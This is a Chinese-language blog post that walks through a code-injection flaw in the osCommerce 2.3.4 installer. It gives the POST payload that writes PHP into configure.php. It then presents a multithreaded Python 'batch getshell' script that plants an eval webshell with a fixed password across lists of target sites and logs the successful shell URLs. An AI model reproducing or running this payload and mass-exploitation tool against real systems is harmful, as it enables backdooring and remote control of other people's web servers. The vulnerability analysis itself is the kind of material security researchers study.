0x01 前言
好几天没有写了,前两天又去Boom了,差点没缓过来。今天在exploit-db逛看到一个洞,也是install的地方,想去利用上次那个远程数据库技巧来尝试下,发现这个洞根本用不到,不过新手可以学习下哈,也可以收藏下,因为有时候在ctf线下赛的时候官方会拿一些国外的程序给你玩,最近也在写python的漏洞利用工具,欢迎关注我的github。
0x02 环境
程序源码下载:https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip Web环境
0x03 漏洞利用过程
1.我们先正常安装这个程序
2.执行我们的payload
GET:http://127.0.0.1/oscommerce/install/install.php?step=4 POST:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*
3.访问写入代码的文件
GET:http://127.0.0.1/oscommerce/install/includes/configure.php
写入的内容:
0x04 漏洞代码分析过程
漏洞文件出现的位置是:\install\templates\pages\install_4.php
说起这个国外写的程序还没我们国内的严谨,安装完没有写入install.lock或者像Joomla(最近正在写)一样强制让客户删除安装文件。
直接看代码吧,过程也不算太复杂。这里用到了PHP以下的函数$HTTP_POST_VARS
这个函数类似与PHP4及以上的$_POST
。这里是接收参数的地方。
最重要还是这里,因为如果没有传入DIR_FS_DOCUMENT_ROOT
的话下面写入文件就无法进行了。
0x05 Payload构造
DIR_FS_DOCUMENT_ROOT
是必须的了,让它等于根目录./就行了。 写入恶意代码就用DB_DATABASE
吧,我们先用闭合');
前面,然后再写入phpinfo();,后面它会自动加上’);,exploit-db上面是直接加上/*注释掉的,因为这个程序很奇怪,先一遍在install的配置文件,然后再写到程序里面的配置文件,所以就不会顾虑网站会崩的问题了。 payload: post 模式DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*
0x06 用Python编写批量getshell脚本
我觉得你们应该读得懂这个代码吧,如果有需要的话我以后会把这里面的流程解释一遍。
#!/usr/bin/env #author:F0rmat import sys import requests import threading def exploit(target): if sys.argv[1]== "-f": target=target[0] url1=target+"/install/install.php?step=4" data={ 'DIR_FS_DOCUMENT_ROOT': './', 'DB_DATABASE':"\');@eval($_POST['f0rmat']);echo 'F0rmat';/*" } url2=target+"install/includes/configure.php" try: requests.post(url1,data=data) verify = requests.get(url2, timeout=3) if "F0rmat" in verify.content: print 'Write success,shell url:',url2,'pass:f0rmat' with open("success.txt","a+") as f: f.write(url2+' pass:f0rmat'+"\n") else: print target,'Write failure!' except Exception, e: print e def main(): if len(sys.argv)<3: print 'python osCommerce_rce.py -h target/-f target-file ' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "\n": threading.Thread(target=exploit, args=(b[i].split(),)).start() if __name__ == '__main__': main()
0x08 结束
这个洞确实有点简单了哈哈。
0x09 参考
https://www.exploit-db.com/exploits/44374/ https://github.com/F0r3at/Python-Tools